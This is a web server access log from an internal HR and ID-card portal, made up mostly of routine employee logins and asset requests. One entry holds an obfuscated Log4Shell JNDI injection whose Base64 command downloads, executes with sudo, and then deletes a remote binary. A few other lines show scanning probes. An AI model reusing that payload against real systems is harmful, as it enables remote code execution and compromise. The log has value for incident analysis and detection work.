192.168.11.141 - - [25/May/2023:11:45:12 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.141 - - [25/May/2023:11:45:12 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826
192.168.11.141 - - [25/May/2023:11:45:06 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.141 - - [25/May/2023:11:45:06 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.141 - - [25/May/2023:11:45:25 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826
192.168.11.141 - - [25/May/2023:11:45:25 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 "http://192.168.1.81:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.222 - - [25/May/2023:11:44:00 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 200 - "http://192.168.1.81:8088/idcard/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:11:44:00 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 200 -
192.168.11.141 - - [25/May/2023:11:49:39 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.141 - - [25/May/2023:11:49:39 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.141 - - [25/May/2023:11:50:00 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.81:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.141 - - [25/May/2023:11:50:00 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
79.124.62.106 - - [25/May/2023:11:52:05 +0800] "\x03" 501 203
79.124.62.106 - - [25/May/2023:11:52:05 +0800] "\x03" 501 203 "-" "-"
192.168.11.236 - - [25/May/2023:11:53:25 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:11:53:25 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.141 - - [25/May/2023:11:50:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 -
192.168.11.141 - - [25/May/2023:11:50:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.141 - - [25/May/2023:11:53:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 139
192.168.11.141 - - [25/May/2023:11:53:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:11:56:39 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.236 - - [25/May/2023:11:56:39 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:11:56:57 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:11:56:57 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.11.141 - - [25/May/2023:11:57:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.141 - - [25/May/2023:11:57:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.141 - - [25/May/2023:11:57:58 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2712008860920889 HTTP/1.1" 200 8640
192.168.11.141 - - [25/May/2023:11:57:58 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2712008860920889 HTTP/1.1" 200 8640 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
95.214.55.244 - - [25/May/2023:11:58:27 +0800] "GET / HTTP/1.1" 200 397 "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//193.111.248.160:8221/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTcyLjI0NS4xMzUuMTc1L3NlcnZlci9zc2hrZXkyIDsgY3VybCAtTyBodHRwOi8vMTcyLjI0NS4xMzUuMTc1L3NlcnZlci9zc2hrZXkyIDsgY2htb2QgK3ggc3Noa2V5MiA7IGNobW9kIDc3NyBzc2hrZXkyIDsgLi9zc2hrZXkyIHg4NiA7IHN1ZG8gLi9zc2hrZXkyMiB4ODYgOyBybSAtcmYgc3Noa2V5Mg==}')" "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//193.111.248.160:8221/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTcyLjI0NS4xMzUuMTc1L3NlcnZlci9zc2hrZXkyIDsgY3VybCAtTyBodHRwOi8vMTcyLjI0NS4xMzUuMTc1L3NlcnZlci9zc2hrZXkyIDsgY2htb2QgK3ggc3Noa2V5MiA7IGNobW9kIDc3NyBzc2hrZXkyIDsgLi9zc2hrZXkyIHg4NiA7IHN1ZG8gLi9zc2hrZXkyMiB4ODYgOyBybSAtcmYgc3Noa2V5Mg==}')"
95.214.55.244 - - [25/May/2023:11:58:27 +0800] "GET / HTTP/1.1" 200 397
185.11.61.107 - - [25/May/2023:11:58:37 +0800] "\x03" 501 203
185.11.61.107 - - [25/May/2023:11:58:37 +0800] "\x03" 501 203 "-" "-"
192.168.11.97 - - [25/May/2023:11:58:54 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:11:58:54 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 -
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601
192.168.11.97 - - [25/May/2023:11:58:58 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.97 - - [25/May/2023:11:58:58 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.81:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:11:59:04 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.141 - - [25/May/2023:11:58:08 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2712008860920889 HTTP/1.1" 200 -
192.168.11.141 - - [25/May/2023:11:58:08 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2712008860920889 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2712008860920889" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.141 - - [25/May/2023:11:59:05 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2712008860920889 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2712008860920889" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.141 - - [25/May/2023:11:59:05 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2712008860920889 HTTP/1.1" 200 139
192.168.11.141 - - [25/May/2023:11:59:52 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.24020348539143987 HTTP/1.1" 200 8640 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.141 - - [25/May/2023:11:59:52 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.24020348539143987 HTTP/1.1" 200 8640
192.168.11.141 - - [25/May/2023:11:59:54 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2712008860920889 HTTP/1.1" 200 14062 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2712008860920889" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.141 - - [25/May/2023:11:59:54 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2712008860920889 HTTP/1.1" 200 14062
192.168.11.222 - - [25/May/2023:12:00:55 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 161
192.168.11.222 - - [25/May/2023:12:00:55 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 161 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:01:29 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 142 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:01:29 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 142
192.168.11.222 - - [25/May/2023:12:01:15 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 161 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:01:15 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 161
192.168.11.222 - - [25/May/2023:12:02:07 +0800] "GET /idcard/ess/index.php?action=logout HTTP/1.1" 200 -
192.168.11.222 - - [25/May/2023:12:02:07 +0800] "GET /idcard/ess/index.php?action=logout HTTP/1.1" 200 - "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:02:51 +0800] "GET /idcard/ess/index.php?action=logout HTTP/1.1" 200 11477 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:02:51 +0800] "GET /idcard/ess/index.php?action=logout HTTP/1.1" 200 11477
192.168.11.222 - - [25/May/2023:12:03:22 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 11480 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:03:22 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 11480
192.168.11.222 - - [25/May/2023:12:03:35 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.81:8088/idcard/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:03:35 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.222 - - [25/May/2023:12:03:56 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 200 6088 "http://192.168.1.81:8088/idcard/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:03:56 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 200 6088
192.168.11.222 - - [25/May/2023:12:04:19 +0800] "GET /idcard/css/layout/layout.min.css HTTP/1.1" 200 3534 "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:04:19 +0800] "GET /idcard/css/layout/layout.min.css HTTP/1.1" 200 3534
192.168.11.222 - - [25/May/2023:12:04:19 +0800] "GET /idcard/js/jquery.cookie.min.js HTTP/1.1" 200 4339
192.168.11.222 - - [25/May/2023:12:04:19 +0800] "GET /idcard/js/jquery.cookie.min.js HTTP/1.1" 200 4339 "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:04:19 +0800] "GET /idcard/js/jquery.layout.min-1.2.0.js HTTP/1.1" 200 34635 "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:04:19 +0800] "GET /idcard/js/jquery.layout.min-1.2.0.js HTTP/1.1" 200 34635
192.168.11.222 - - [25/May/2023:12:04:20 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88
192.168.11.222 - - [25/May/2023:12:04:20 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:04:19 +0800] "GET /idcard/img/icon_exit.png HTTP/1.1" 200 3607
192.168.11.222 - - [25/May/2023:12:04:19 +0800] "GET /idcard/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:04:20 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:04:20 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369
192.168.11.222 - - [25/May/2023:12:04:19 +0800] "GET /idcard/img/Person.png HTTP/1.1" 200 960
